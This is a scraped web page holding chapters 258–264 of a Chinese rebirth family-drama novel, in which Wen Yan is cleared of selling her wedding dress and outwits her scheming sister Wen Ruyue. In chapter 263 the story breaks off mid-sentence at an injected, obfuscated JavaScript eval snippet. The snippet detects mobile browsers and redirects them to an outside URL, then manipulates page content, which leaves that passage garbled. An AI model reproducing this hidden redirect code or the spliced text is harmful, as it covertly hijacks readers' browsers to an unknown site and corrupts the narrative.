“是,太妃娘娘。”闻颜低眉顺眼地走了过去。 太妃牵起闻颜的手,目光柔和地打量着她:“合适, 这是我当年入宫为妃时,穿的衣裳。 没想到你穿着正合适。 就是样式旧了点儿。” 刚才奚落闻颜的人,止不住地白脸。 这件衣裳,竟然是太妃所赠! 她们刚才还讽刺这衣裳,连刷马桶的婆子都不穿。 那岂不是在讽刺太妃…… 闻颜笑着道:“现在看觉得旧,在当时也该是最时新的样式。” 闻颜左右看了看,她走向一名丫鬟,道:“可能借你的披帛一用?” 第258章:澄清,变卖嫁衣 “当然。”丫鬟立即娶下自己的披帛,双手递给闻颜。 这是一条绿色渐变披帛,颜色沉稳又漂亮。 闻颜接过披帛,撕下一根两指宽的条,她随意编织几下,便系在腰间当做宫绦。 剩下的,闻颜将它与自己的半透薄纱披帛混在一起,重新披上。 原本以暖色为主的俏皮裙装,被这抹绿色点缀之后,瞬间变得明艳大气又不失沉稳。 什么暗纹提花过时,款式老旧,统统变成了加分项。 就连闻颜的气质也随之改变。 小小一条披帛,竟能起到画龙点睛的作用。 便是此前挤兑闻颜之人,此时也不得不承认她的厉害。 “好孩子,你的眼光可真好!这样一搭配,我都快认不出它了。”恭太妃眉眼带笑,她拍了拍身边的位置,“快过来,坐到我身边。” “是。”闻颜行了个福礼,到来太妃身边端庄落坐,只放了小半屁股在椅子上。 众人都百思不得其解。 闻颜搭配衣服确实很有一手。 但是这样的从才,在宫中比比皆是。 恭太妃为何独独对她另眼相待? 下面的人虽未说话,但互相之间的眼神交流,都似在询问,这到底怎么回事? 难不成,是闻颜施了邪术,将恭太妃迷惑住的? 闻如月的眼中满是嫉妒与不满。 闻颜得了恭太妃的青睐,自己将来如何拿捏他,还能用她去给自己换金山银山吗。 果然是自己太善良,对闻颜太过纵容,才让她有了反抗自己的底气。 重生几个月来,闻如月头一次觉得事情脱离了自己的掌控。 恭太妃禌神和蔼,却将这些人的神情、互动合部收入眼中。 她淡淡一笑,用不大的声音同闻颜说话:“上次你帮我修补的吉服,我很是满意。” 闻颜回以一笑:“能让您满意就好,我一直担心自己的手艺不好。” “我满意得很。只是没想到,帮我补件衣服,竟让你背上那等污名。 你这孩子,当时怎么不向大家解释清楚?” 听话听意。 闻颜立刻明白恭太妃的意图。 她当即就顺着恭太妃的意思,继续发挥。 她连忙跪下道:“那是您册封太妃的吉服,是宫廷御制,您让我修补,是看得起我。 我却担心这不合礼数,给您惹来麻烦,故而不敢声张。” 闻颜这一跪,顿时将众人的目光都吸引过来。 恭太妃露出不赞同的神情:“你只顾着不给我惹麻烦,你的名声就不要了? 现在外面都在流传,你为了一点银钱,连嫁衣都能卖。” 闻颜笑道:“谣言止于智者。我的夫君知道我并未变卖嫁衣,他信任我,这便足够了。” 闻颜神态轻松,就像在说一件微不足道的小事。 她越是这样,恭太妃越觉得她品性优秀。 她看着闻颜的眼神,也从先前的关心照顾,变成赞赏。 她看向众人:“既然大家都在,我在此向大家澄清一件事。 闻颜从未变卖过嫁衣,引起你们误会的嫁衣,其实是她为我修补的吉服。 同时,也好叫你们知晓,闻颜的刺绣技艺,有多么的精湛。” 恭太妃的贴身嬷嬷朝空中击了击掌。 随即,应有婢女,抬着一架衣桁走了过来。 衣桁上披着的,正是恭太妃册封为太妃时,所穿的吉服。 据说,这身吉服,是皇帝亲自描样,二十位绣娘,花了三个月时间才制作完成。 甚至比太后的吉服还要华丽精致。 它不仅仅是一件吉服,更代表了皇帝与恭太妃之间,深厚的母子情宜。 所以,衣服坏了之后,恭太妃很是心疼着急。 她想要修补好它。 却不又想送去宫中,让皇帝为难。 当初制作时,就是皇帝力排众议,顶着压力才做成的。 如今再去修补,就逾矩了,会成为朝臣攻击他的把柄。 恭太妃不忍皇帝为难,便自己在宫外找人修补。 她寻了很多人,最后才挑上声名在外的闻颜。 更过‘变卖嫁衣’的风波之后。 恭太妃更加确信,闻颜品格贵重,自己没有看错人。 众贵女都上前来,近距离欣赏着那件吉服。 恭太妃的嬷嬷,便在一旁讲解:“这件吉服因为保存不善,被虫蛀出许多小孔,修补难度很大。 即便是宫中的十名绣娘,也需半年才可完成。 闻颜姑娘却只花了三个月时间,就修补完成。不仅绣样衔接完美,为了统一色彩,就连绣线都特意做旧。 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而且,此事说出来真的可以吗?若是给您和皇帝陛下添麻烦,这件吉服本来就……” 恭太妃不在意地摆摆手:“你且放宽心。当初我要修补它,是特地进宫,征求过皇帝意见的。” “我回京之后,听闻你的遭遇,又特地拿着衣服进宫,给皇帝看过,他对你的技艺很是惊叹。” 闻颜重重松了一口气。 江心葵的身体却无力地摇晃几下。 什……什么! 皇帝竟然已经知道了此事! 那他们所做的一切,在皇帝眼中,岂不是像耍猴一样可笑! 完了完了。 闻家,恐怕要败落了。 江心葵像是被人抽去了骨头,摇摇欲坠。 但她很快就稳住了身形。 她的眼珠子骨碌碌地转了几转,突然上前几步,哀怨地责问闻颜:“既然是为太妃修补吉服,当初你为何不与我明说? 那日我听闻你变卖嫁衣,我伤心得肝肠寸断。 这才闹了好大的误会,让旁人看了几个月的笑话。” 江心葵想把闻家摘出来。 第259章:闻颜不答应 江心葵想保住闻家,也得看闻颜答不答应。 况且太妃都纡尊降贵为她出头,若是她再让江心葵用几句话哄住,岂不是让恭太妃心寒! 闻颜苦笑一声:“事关太妃和皇帝陛下,我怎能随意说出? 当时我一路都在跟您解释,我并未卖嫁衣,是您一口咬定我卖了。 还指着店中一件样衣,说是我的嫁衣,非要赎回,谣言这才传开的。” 闻颜越说越委屈。 “我……你什么时候解释了?我毫无印象。”江心葵辩解道。 “母亲您还要把事情推到我……”闻颜陡地住口,眼泪像断线的珠子一般,‘啪嗒啪嗒’地往下掉。 “母亲,您若是不信,大可以去问‘天衣布庄’的崔掌柜, 太妃便是通过‘天衣布庄’找到我的。 崔掌柜最是清楚其中缘由,他当时还与我一起向您解释来着,可您一点都听不进去。” 江心葵脸色忽青忽紫忽红,比调色盘还要精彩。 她下意识觉得这是闻颜的推托之词。 可是仔细回忆着当天细节。 耳边全是闻如月的声音:“妹妹定是因为婚事,对您与父亲心生恨意,故意变卖嫁衣,让您与父亲丢脸……” “若是此事传出去,父亲的职位恐受影响。 妹妹竟是不顾爹娘十几年的养育之恩,如此陷害你们……” 江心葵猛地回头看着闻如月,眼神如刀,仿佛下一刻就能**。 当时,就是她的话误导了自己。 刺激之下,她脑中只剩愤怒,根本无暇深思。 如月难道不知,这会给家族带来多**烦吗? 兴许还会牵连到家族,到时夫君这个族长之位,恐怕也要受到质疑。 不行! 夫君本就官途不畅,若是连家族权力都失去,他们一家就真的要被排挤出京城的权贵圈了。 再想把罪名扣在闻颜头上,恐怕是不行了。 只能将事情糊弄过去。 只见江心葵忽地眼眶一红,自责地落下眼泪:“……都怪我。 当时太担心你了。 只想着不能让你名声受损,竟没能听进去旁的解释。 都怪母亲,是母亲让你受委屈了。 我的儿啊,你能原谅母亲吗?” 江心葵是懂说话的。 三言两语,就把一切归咎于爱女心切。 还用‘求原谅’将了闻颜一军。 不原谅,闻颜就是心胸狭隘,不孝顺。 原谅,则她与闻家仍是一体,荣辱与共。 恭太妃赏识闻颜,闻家就能跟着沾光。 便是皇帝过问‘嫁衣道歉’之事,也怪不得闻家,毕竟是臣子家事。 不愧是江心葵,这么短时间里,竟想出这么个好主意。 闻颜一脸惊讶地道:“母亲,您说什么原谅不原谅的,当女儿的以孝顺为重,只当该听父亲母亲的话。” 话外之间便是:嫁衣道歉之事,无关对错,只是听从你们的安排。 江心葵见闻颜滴水不漏,多说无益,便见好就收。 她拉着闻颜的手,母女长母女短,生怕别人不知,她对闻颜的感情,比亲生女儿还深。 闻颜自然也不会当众拆穿。 只是皮笑肉不笑地应着。 不少人看得直撇嘴。 距离江心葵逼着闻颜当众道歉,才过去两三个月。 之后,也几乎没有来往。 现在见闻颜入了恭太妃眼,又一头**演起母女深情,吃相简直不要太难看。 这边气氛正诡异时,忽地传来一道亲和的女子声音:“大家在说什么事,如此热闹?” 循声看去。 只见几名妙龄女子,朝这边款步而来。 这几位姗姗来迟的女子,个个衣着华丽,仪态万千。 众贵女妇人连忙行礼:“见过太素公主、五公主、七公主、八公主。 见过景和郡主。” 闻颜也跟着跪拜。 太素公主素手轻抬:“诸位夫人免礼。” “是太素来了。”恭太妃眉目含笑。 素公主是皇帝的长女,深受宠爱。 “祖母。”太素几步来到太妃面前,握着太妃的手,跪下行礼。 恭太妃直接将她扶了起来,“我还以为你们今天不来了。” 太素公主笑着道:“我本不想凑热闹的,可是架不是了赛赛喜欢凑热闹,另外几位妹妹也跟着起哄。” 就在她们祖孙亲香之时,景和郡主的目光轻飘飘地扫过人群。 先是在闻颜脸上停顿片刻,随即便定定看着闻如月。 景和郡 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白夫人一听是这个原因,当即就将事情应承下来。 闻颜将白夫人送上马车,转身就往自己的马车而去。 闻如月还在忧心‘香料’的事,正要问江心葵怎么办。 江心葵却扔下她,径直迎上了闻颜:“颜颜!你可让我好找。” “母亲。”闻颜神情冷淡地看着她。 江心葵很是热情地道:“你难得回京一趟,怎能住在外面,走,跟娘亲回家住。” 江心葵想得很美,只要把闻颜哄回家,就能沾到恭太妃的光。 闻颜一转眼,就发现紧追出来的闻如月,正用幽怨嫉恨的眼神看着这边。 她手里的帕子,几乎要被她拧烂了。 到了喉咙的拒绝被硬生生压下,闻颜改变主意了。 闻颜欲拒还迎,推辞几回,江心葵就将她强行拉上了马车,根本没注意到紧跟其后的闻如月。 闻颜登上江心葵的马车上,撩起车窗帘子,对闻如月挑衅一笑。 嘴唇轻启,无声的道:“你的东西,我全部都要夺走!” 第260章:闻颜使坏 闻如月脑中轰的一声,怒火燃烧着她的理智。 一直在心里默念‘香料’,才没有扑上去咬断闻颜的脖子。 她咬咬牙,对她贴身丫鬟吩咐道:“回侯府通知一声,就说母亲接我回闻家住一晚,明日再回去。” 说完,她也上了江心葵的马车。 丫鬟哭丧着脸:“私自回娘家,侯夫人知道会大发雷霆的。” 侯夫人不会对闻如月这个少夫人如何,却一定会拿她这个丫鬟出气。 江心葵的马车慢慢驶离。 闻如月和闻颜分坐两边。 闻如月目光不善地盯着闻颜,眼珠子滴溜溜地转,脑海不断闪过百般折磨闻颜的画面。 再忍一忍,只要进了闻府大门,把闻颜捏扁搓圆,还不是她说了算! 闻颜突然依偎进江心葵怀中,夹着嗓子,娇滴滴粘乎乎地说话:“母亲,姐姐的眼神好凶啊,我好害怕……” 江心葵:“……” 闻如月:“……” 江心葵厌恶闻颜的碰触,本能地把她推开。 江心葵并未用多少力。 闻颜却顺势往后一倒,胳膊撞在车厢壁上,发出‘砰’的一声。 “原来……母亲根本不想我回家,那我走,我走就是了。” 闻颜的眼泪夺眶而出,掀开车帘子就要跳车。 江心葵急**。 好不容易拽上车的人,怎么能让她就这样走了! 江心葵尖叫:“拦住她!” 江嬷嬷立即上前,一把抱住要跳车的闻颜。 闻颜嘤嘤哭着挣扎:“母亲,既然姐姐不欢迎我,我就不回去碍你们的眼了。” 江心葵气极,不管不顾,先把闻颜按回车里再说。 谁知,一名妇人突然跃上马车,一把掐住江嬷嬷的手腕。 妇人立即把闻颜护至身后:“江夫人,你就是这样对待闻颜小姐的?你若是不能好好对她,那就不要强迫她跟你回家。” 江心葵脸上的神情变了几变。 闻如月质问:“你是谁?这是我闻家之事,你管得着吗?” 妇人道:“我的主子是镇国大将军府的主母。我主子让我一路随行,保护闻颜小姐,你们若是欺负她,我只得将她带走。” 好不容易拐到手的人,江心葵怎么会放她走。 只要把她骗进家门,一切皆有可能。 否则再想‘修复感情’,可就没有这么好的机会了。 再加上妇人刚才利落地飞身上马车,便知她必定是白夫人的心腹。 江心葵银牙暗咬,才挤出笑容:“你误会了,是她们姐妹俩拌了几句嘴,没什么大事。” 见妇人不吱声,江心葵狠了狠心,瞪了闻如月一眼:“还不快给你妹妹道歉。” “你让我跟她道歉……凭什么!”闻如月好不容易把她踩在脚下,还没在闻颜面前炫耀几回,现在竟然要她道歉。 简直是奇耻大辱! 她不同意! “姐姐果然讨厌我,我还是走吧!”闻颜作势要走。 江心葵回头对闻如月使了个眼色,又做了一个‘香料’的口形,威逼利诱之下, 闻如月一凉。 果然。 娘嘴上说着疼爱自己,心里还是向着闻颜的。 她心里升起一股委屈,眼眶瞬间红了。 还是挤出一句“对不起”。 闻颜擦了擦不存在的眼泪,“既然妹妹已经敷衍认错,我就原谅你了吧。” 闻如月仿佛干了一碗苍蝇汁,恶心极了。 闻颜重回马车,妇人随行左右。 直到马车停在闻府门外,妇人也没有离开的意思。 江心葵委婉地提出:“她可以回去复命了。” 妇人极有涵养的笑了笑:“我家主子说了,闻颜小姐身子弱,让我来专门照顾。” 江心葵知道赶不走,干笑两声,转身牵着闻颜的手,进门而去。 府中下人见状,都很是惊讶。 闻颜上次回来时,打扮得如村妇一般。 这次回来,不仅穿得光鲜靓丽,身边还有仆妇侍候。 夫人也态度大变,神情间甚至还带着讨好。 莫非,二小姐要翻身了? 闻家下人心里止不住地琢磨。 进门之后,江心葵便让江嬷嬷送闻颜去客房休息。 闻颜拿帕子在脸上按了按:“我就知道,这个家,早就没有我的位置了。” 江心葵看了 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妇人上前扶住闻颜:“府上连一个合适的院子,都不肯让闻颜小姐住,闻颜小姐还是回将军府吧。” 江心葵笑着对闻颜道:“那个院子本就是你的,你难得回来一趟,住进去理所应当。” “娘!不可以!”闻如月失控尖叫。 “娘,那是我的院子,我不同意,我不许!” 江心葵早就被弄得心力交瘁,已经没有耐心哄闻如月。 她当即脸色一沉,呵斥道:“这是闻家,不是侯府。要耍小性子,就回侯府去。” 闻如月瞬间怔住,不敢置信地道:“娘,你竟然帮她不帮我。” “你若是控制不好情绪,立即就回侯府去。” “走就走!”闻如月气冲冲地走了。 闻颜拉着江心葵的衣袖撒娇,看着闻如月的背影,大声道:“母亲,我就知道,我们十几年的感情,你最疼的人还是我。” 闻如月听见这话,更加气鼓鼓了。 第261章:搅家 气走了闻如月,闻颜也回到了汀兰院。 看着熟悉的院子,让她有种恍如隔世的感觉。 当初,她被赶去绿芜阁时,只带走了贴身衣物。 首饰、摆件一件都没带走。 能在她院中的,件件都不是俗物。 闻如月审美不够,她重新布置,未必会有这么赏心悦目。 况且,这里的一物一什都是闻颜十五年来,精心搜罗而来的,花了她无数心血。 自己用着这些东西,闻颜岂不是更痛苦! 闻如月在这里住的时间不到一年半,院子还保持着她的布置模样。 院中种植着她和孟迟飞从大庸各地搜罗来的名贵花草,随便一株,都百两难求。 即使闻如月已经出嫁,江心葵还是命专人看顾院子,照料花草。 此时盛夏,花团锦簇,蝴蝶翩跹。 闻颜先在院子里转了转,对那些名贵花朵,她左手掐一朵,右手掐一朵。 院中的下人急得直跺脚,喊着叫着让闻颜不要再摘了。 闻颜不听,他们竟威胁闻颜:“若是让大小姐知道,二小姐你可没法交待。” 闻颜扫了那人一眼,冷哼一声。 很快,闻颜就扎了一大捧花。 漂亮的花圃,瞬间就被她祸祸得不成样子。 她又把花扎成花球,抛给佩儿:“拿去当毽子踢。” “好勒!”佩儿接住花球,果真像踢毽子那般踢了起来。 娇艳花瓣经不起摧残,扑簌簌落下。 踢了两下就没意思了,佩儿把花球扔在地上踩来踩去,糟蹋得不成样子。 闻颜看得满意极了。 指了指花圃里的锄头,佩儿:“把这些花草挖出来,明儿全部带走。” 大部分花草都是迟飞姐姐特地寻来送她的,岂能便宜了闻家人。 “好嘞!”佩儿拿起锄头就开干。 院中仆妇吓坏了,上前阻止不成,连忙使了个眼神,让他们去找搬救兵。 闻颜转身进了屋子。 闻颜在屋子里转了一圈。 房间也收拾得很好,纤尘不染。 被褥每天都在换,不管闻如月何时回来,都能直接入住。 她一个转身,花几上的梅瓶就掉地上摔碎了。 跟进来侍候的丫鬟,吓得一哆嗦。 那可是大小姐最喜欢的梅瓶,就这样毁了。 大小姐要是知道了,肯定会打死他们的。 闻颜到桌边坐下,倒茶喝了一口。 她手腕一抖,茶水尽数泼在屏风上。 深色的茶渍,在洁白的丝帛和彩色的绣线上留下一大团污迹。 这扇屏风也彻底毁了。 这屏风是闻颜花了一年时间绣好的,用上好的檀木制成。 曾经有人想千两银子买下,闻颜都未出手。 她一直收在库房,想留给孟迟飞出嫁做添妆的,结果便宜了闻如月。 既然已经被闻如月玷污,这屏风她不要罢。 丫鬟都快吓哭了:“二小姐,这是大小姐的院子,你毁坏了里面的东西,大小姐追究起来,你可赔不起!” “赔? 这屋里但凡值钱的,哪一件不是我的东西? 你去问问闻如月,她现在敢对我放一个屁吗?” 闻颜把手里的汝窑茶杯扔在地上,立时摔得粉碎。 管事嬷嬷心疼得直哆嗦。 这套可是大小姐最喜欢的茶具,价值连城,有钱都买不到的。 大小姐若是知道了,他们小命不保啊! 就这时,院中忽然传来一声尖叫:“啊……我的院子,我的花草!闻颜,我跟你拼了。” 随后,闻如月便冲进房中。 对着闻颜张牙舞爪。 江心葵也紧随其后。 闻颜道:“我摔的、铲的,都是我自己的东西。我既已出嫁,把我自己的东西带走,这有什么问题吗?” “什么你的,这些都是闻家的,爹娘给了我,那就是我的。” “大言不惭。你要不要看看孟家的礼单,再说这等恬不知耻的话。”闻颜嗤笑一声,“你不是走了吗?又回来干嘛?” 闻如月:“……” 闻颜的小嘴是抹了毒了吗? 每一句话都往她心口上扎。 闻颜扎完闻如月的心,又看向江心葵:“母亲,我把自己的东西带走?应该无碍吧!” 孟家的人还在场,江心葵想不同意都不行。 闻颜没想到江心葵这么容易松口。 她有点后悔毁了梅瓶和屏风,拿出去处理掉,能换不少银子。 江心葵想到要损失的东西,心痛得要滴血。 没待一会儿,她就找借口离开了。 闻如月跟在后方,看着江心葵的背影。 她知道,娘只在乎爹和哥哥的前程。 自己这个出嫁女,若是不能为娘家带来好处和利益,也是随时可以抛弃的。 就像现在。 仅仅因为闻颜攀附上了恭太妃,娘就把自己的尊严拿给闻颜踩。 既然娘不愿帮自己,那她就自己来 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闻颜帮作为难:“我在恭太妃眼里就是只会刺绣的小猫小狗,赏点东西我接着就是,若是上赶着去讨好处,岂不是蹬鼻子上脸,惹人嫌弃? 恭太妃恼我倒没什么,若是恼了父亲,恼了闻家,恐怕就……” 闻父如何听不出闻颜的嘲讽,脸涨得通红,讪讪地闭上了嘴。 落座之后,闻颜一心吃饭。 闻如月还借机刺了她几句,都是些饿死鬼投胎,一辈子没吃过饱饭似的。 闻颜左耳朵进,右耳朵出,一副油盐不进的样子。 待她吃到七分饱,优雅地擦了擦嘴,这才开始反击。 闻颜拿着‘变卖嫁衣’的事大作文章。 她先从女子名声,说到兄长闻泽端的科举之路,再说到闻父仕途,最后竟牵扯到家族败落。 最后将果扣在闻如月身上。 关键是,闻颜说得一套一套的。 闻家人只冷笑,觉得闻颜搅扰离间的手段太拙劣。 只是。 到了夜深人静之时。 闻父和闻择端躺在床上。 闻颜说的那些话,便不由出现在他们的脑海。 他们越想,越觉得是闻颜所言,逻辑通畅,句句在理。 对于把事情闹大的闻如月,在心中狠狠记上一笔。 与此同时。 汀兰院中,来了一位不速之客。 第262章:自投罗网 夜色深深。 汀兰院内。 一个婆子鬼鬼祟祟摸到院门边,悄摸打开了院门。 随即,一个人影摸进院中。 人影问婆子:“人呢?” 婆子朝卧房努了努嘴:“回大小姐的话,那三个人全都迷晕了。” 人影不是别人,正是闻如月。 闻如月朝院外一挥手,又有五六个婆子拿着绳子、麻袋进了院子。 闻如月一一叮嘱她们:“记住,进去之后,你们三个负责控制那个丫鬟和婆子。 你们两个负责守住闻颜,若有异动,立即将人打晕。 你负责装袋,你力气最大,负责扛包走人。” “是。”几个妇人连忙应着。 闻如月转身看着汀兰院的主屋,眸子微眯,眼神发冷,喃喃低语:“母亲,是你不顾念亲情,可别怪我!” 行动前。 闻如月去找过江心葵一趟。 她希望江心葵能为自己讨回公道。 江心葵却让她再忍一忍:“闻颜留着有用。只有通过她,我们才能搭上太妃的关系。 你不就能取而代之,成为太妃面前的红人吗? 有太妃给你托底,你想结交兰贵妃也更有筹码不是?” 闻如月当时就一片心寒。 这番话,不过是母亲为了打发自己的说辞。 她对自己的感受,当真是一点都不放在心上。 闻如月咬咬牙,决定退一步:“那香料呢?你打算什么时候去跟闻颜说。谢二夫人都来催我好几回了。 而且兰贵妃的生辰马上就到了,我一日都拖不得了。” “是啊!献给兰贵妃的香料确实重要。”江心葵也一副着急神情。 “母亲,你不会连这点事都不帮我吧!”闻如月的声音陡地变尖。 江心葵目光躲闪,不敢看亲生女儿。 她自然是想帮女儿的。 只是,就算女儿攀附上了兰贵妃,但她身后还有一座津平侯府,闻家不过是顺带捎的。 闻颜就不一样了。 她现在还得依靠闻家,她的关系,就是闻家的关系。 无人来与他们分一杯羹。 而闻颜与闻如月势同水火。 此时去提这件事,闻颜不但不会同意,甚至还会心生不悦。 这会让本就紧张的关系,雪上加霜。 “那兰纮已经下了大狱,兰玉也从贵妃降为妃,兰家怎么看都算不得好靠山。 如月,你为何执着于攀附兰家?” 闻如月本不想说的。 事到如今,她也该让母亲清醒清醒,别再做那些不切实际的白日梦了。 “兰贵妃虽然被降为妃位,可皇帝对她的宠爱不减反增。 现在大家仍然称她为贵妃,谁敢叫她一声兰妃? 她的哥哥更不会有事。娘你就等着看吧,不到年底,皇帝就会重新起用他。 晋阳府的烂摊子还等着他去收拾。” “如月,没有发生的事,你如何得知的?” 闻如月原本想找个时间,将重生之事告予父母,让他们抓住机遇往上爬。 但是母亲今日的作为让她很是不悦,她暂且不想说了。 她只道:“总之,兰家东山再起指日可待。 至于你心心念念的恭太妃,她已经一把年纪,日薄西山,她活不了几年……唔……” 江心葵一把捂住闻如月的嘴,不让她再说下去。 “你不要命了?恭太妃你也妄议!若是传到皇帝耳中,别说是你,我们全家都要跟着掉脑袋。” 闻如月打开母亲的手,不以为意:“这是在我们家,我们说什么,皇帝怎么可能知道。” 她没说的是,四年后,恭太妃大病一场,被接回宫中照料,之后,再无她的消息。 而兰贵妃的儿子欲争夺太子之位,从龙之功,近在眼前。 总之,一个活不了多久的老太婆,怎比得上东山再起的兰家。 闻如月的游说,江心葵听进去了:“鸡蛋不能放在一个篮子里。恭太妃也好,兰贵妃也好,多一个靠山,多一重人脉,你说是不是?” 闻如月:“……” 闻如月此时觉得,闻颜前世有一句话说得很对:“靠山山倒,靠人人跑,只有靠自己才最牢靠。” ** 闻如月推开汀兰院的房门,率先走了进去。 其他人紧跟而入。 待人全部入内。 ‘咣’的一声,房门关上。 闻如月吓了一跳,紧张地看向房门,见鬼了,不会是阿飘吧! 歘的一声。 屋中亮起一根火褶子。< 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爹娘就不能当墙头草,只能选择自己了。 闻如月手下的婆子,一拥而上,冲向闻颜。 闻颜岿然不动。 佩儿端出一只海碗,往地上一泼。 金灿灿的黄豆撒满地面。 打头的婆子气势汹汹,一脚踩在黄豆子上,呲溜一下就滑了出去,‘嗷’的一声摔在地上。 屁股先着地,胖胖的身体还在地上颤了几下。 后面的人也步了后尘。 有的是踩到豆子重心不稳,有的是被同伴绊倒的。 她们叽哩咣啷的摔了一地。 不过眨眼之间,闻如月带来的人,就全军覆没。 佩儿看得乐不可支:“小姐,你看她们像不像下饺子,一个接着一个。” 孙嫂子也忍俊不禁。 要知道,她们刚得知有夜袭时,有多担忧。 害怕双拳难敌四手,闻颜会被闻家人欺负。 谁知,闻颜一碗豆子就把他们全部解决了。 闻如月吓得不行,转身就逃。 第263章:挑拨、相信 佩儿又抓了一把豆子撒在地上。 就听闻颜‘哎呦’一声,摔了个乌龟翻背。 她觉得屁股碎成了四瓣,痛得她都发不出声音了。 闻颜这才站起身来,挥了挥手:“都绑起来吧。” 佩儿和孙嫂子动手绑人。 闻颜来到闻如月面前。 她居高临下地看着闻如月,啧啧出声:“你怎么像条狗一样狼狈!” “闻颜,你敢羞辱我!”闻如月瞪着闻颜。 “我羞辱你又如何?你倒是站起来打我啊!”闻颜故意刺激她道。 闻如月果真撑着地,想要站起来。 闻颜伸腿在她手臂上轻轻一勾。 闻如月失去平衡,再度摔倒在地上。 “闻颜,你别欺人太甚!” “我就是欺负你,你又能如何?”闻颜掐着闻如月的脸,脸上露出张扬的笑,眼中却恨意迸发。 前世,闻如月一边同她姐妹情深,一边爬上霍耀行的床。 一边花着她的银子,一边害死她的儿子。 后面为了取而代之,又对她下毒。 让她被**折磨了数个日夜,才在痛苦中咽气死去。 那份痛苦,她至今难忘。 她的眼神表情,仿佛前世临死时的闻颜。 恨不得啖她肉,喝她血! 闻如月吓坏了:“你……你是人是鬼!” “我当然是鬼,是从地狱里爬出来,专门索你命的恶鬼。” 闻如月吓坏了,手脚并用地往后躲。 却被闻颜牢牢掐着。 “你……我都已经被你欺负成这样了,你还不肯放过我吗!”闻如月是真的怕了。 “走?今晚的游戏,才刚刚开始呢!”闻颜咯咯笑着,从书桌上端来一只砚台。 她手腕一番,里面的墨水全数浇在闻如月头上。 “啊……”闻如月尖叫,“闻颜,你当真是疯了,你竟敢用墨泼我!我的夫君是津平侯世子,他不会放过你的。” “你觉得,津平侯府,会为了一个女人,去得罪镇国大将军吗?” “我可是他的妻子,是他最爱的女人,他不会不管我的。还有爹娘,他们也不会放过你。” “扑哧”。 闻颜笑出了声。 “你不信?你以为我今晚为何会出现在此? 你以为他们当真想巴结恭太妃? 不过是找个由头,帮着我把你骗进来,方便我下手,对你为所欲为,榨尽你最后一点价值。” 闻如月抹去脸上的墨迹,得意洋洋。 闻颜却只是冷笑:“当真如此吗?如果真是这样,那你现在为何会是这般狼狈的模样?” 闻如月怔了一怔:“你什么意思?” 闻颜用砚台拍了拍闻如月的脸:“你觉得,我为什么会等着你上门?” “为什么?” 闻如月猜到了什么,却不敢相信。 闻颜把砚台扔在地上,用只有两人才能听见的声音,说道:“当然是有人给我通风报信啊! 闻如月,你不会蠢到现在还没看不出来吧! 父亲母亲想通过我巴结上恭太妃,我心中怒火不消,就不会替他们牵线搭桥。 所以,在我坐上母亲马车的那一刻,我们就达成了协议。 把你送给我发泄报复,我为他们引荐。” 闻如月脸色一白:“不可能!我不信,爹娘不可能这样对我,我可是他们的亲生女儿。” 闻颜咯咯笑起来:“你回到闻家有一年多了吧,难道还看不出来,闻家没有女儿,只有攀龙附凤的工具吗?” 闻如月还是不可置信地摇头。 闻颜叹息一声:“既然你不信,那我们就跟你打个赌好了。” “你要赌什么?” “我赌,我把你欺负成这样,你的亲娘不仅不会惩罚我,还会让你给我道歉。” 随即,闻颜就对佩儿道:“放外面的婆子出去吧,让他们把闻老爷江夫人叫过来。” “是,”佩儿立即出去开了院门。 闻颜又对着床榻说了一声:“三妹妹,你出来吧。” 片刻后。 就见一位十四五岁的女子,从床边的屏风后走了出来。 此女子生得身姿袅娜,眉目艳丽。 单论姿色,闻颜和闻如月在她面前,都显得暗淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344305|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无光。 “闻岫云,你怎会在此?”闻如月咬牙,闻颜的手段一环套一环啊。 “见过长姐。”闻岫云朝闻如月行了一礼,“我听闻二姐姐回来了,便过来与她叙旧。” 闻岫云是闻家三小姐。从小和闻颜一起长大。 她长得漂亮,又聪明伶俐,再加上她的生母深受闻父宠爱,她在闻家的日子过得相当不错。 以前跟闻颜在才情上争高低, 闻如月回来后,两人衣食住行什么事都要比较。 不一会儿,江心葵夫妻,以及闻择端都到了。 他们进门之后,看见脸上黢黑的闻如月,下意识问道:“这黑鬼是谁?” 闻如月:“……,是我!如月。” “如月,你怎么变成这样了!”江心葵一脸心疼地扶起她。 ‘扑哧’ 闻择端被她滑稽的样子逗笑。 **心葵瞪了一眼,才忍住不笑。 闻父看了一眼,被绑起来的婆子们。 他一声不吭,坐到主位上,这才沉声道:“说说吧,到底怎么回事?” 闻如月想要抢占先机,被闻父抬手制止,对闻岫云道:“岫云,你来说。” “是,父亲。”闻岫云站出来,将事情从头到尾,一字不差地讲了一遍。 当然,闻颜挑拨的话太小声,她根本没听到。 闻父眼神凌厉地看向闻如月:“我什么时候准许你对付自家姐妹了?是谁教你大半夜带着人,拿着袋子麻绳**亲妹妹的?!” 闻如月吓得一哆嗦。 委屈的眼泪扑簌簌落下。 江心葵心疼极了,抱着闻如月,维护道:“你凶孩子干什么?看把她给吓着? 不过是姐妹之间闹着玩罢了。 让如月给颜颜道个歉不就成了!” 闻如月不可置信地看着江心葵:“娘……您说什么?被欺负的人是我,你们不惩罚闻颜就算了,凭什么要我给她道歉!” 江心葵瞪她一眼:“你就安分点吧,还嫌惹出来的麻烦不够大?” 闻如月嘲讽地笑出声:“果然啊,闻颜能让你们攀附上恭太妃,我就没用了是吧!” 第264章: 洗不掉 “放肆!”闻父一掌重重拍在桌上,“你半夜上门掳自己的妹妹,你还有理了?” 闻如月并不怕他的怒火:“要不是你们不作为,我用得着自己上手?” “合着,没有把闻颜五花大绑送到你面前,都是我们的错啰?”闻父气得须发皆张。 闻如月:“爹,事到如今,你还在装傻?你们故意给闻颜通风报信,让她守株待兔,羞辱我,拿我出气。 你们真是打得一手好算盘,拿亲生女儿,给养女当出气筒,你们就算不在乎我,难道连津平侯府的脸面也不顾了吗?” “你胡说,我们什么时候给闻颜通风报信了!”江心葵急忙解释,“我的儿啊,你这样说,可是在挖为娘的心啊!” 